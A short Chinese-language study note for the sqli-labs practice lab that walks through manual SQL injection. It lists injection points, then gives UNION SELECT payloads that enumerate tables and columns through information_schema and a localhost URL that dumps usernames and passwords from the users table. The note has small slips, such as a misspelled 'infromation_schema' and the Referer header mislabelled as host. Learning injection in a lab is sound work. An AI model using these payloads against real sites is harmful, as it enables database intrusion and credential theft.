手工SQL注入流程 :
1.寻找注入点
URL注入 一般为get请求
登录框提交 一般为post 请求
搜索栏查询
cookie注入:识别用户的唯一标识
主机头:指定请求资源的internet主机和端口号
引用站点头(host):指定获取当前请求的资源
用户代理头(user-agent):确定用户使用的web浏览器。
从 infromation_schema 系统库下面的table 表查取 数据库 security 的所有表名 table_name
构造 查询语句 union select 1, group_concat(table_name) ,3 from information_schema.tables where table_schema=database()
并使用 group_concat 函数 去重分组
users表中有账号和密码信息,继续查找字段
b.找users表中所有的列
构造 查询语句 union select 1, group_concat(column_name) ,3 from information_schema.columns where table_name=0x7573657273
c.从列中拿去信息 password username
http://localhost/sqli-labs-master/Less-2/index.php?id=-1%20union%20select%201,%20(select%20group_concat(username,password)%20%20from%20users),3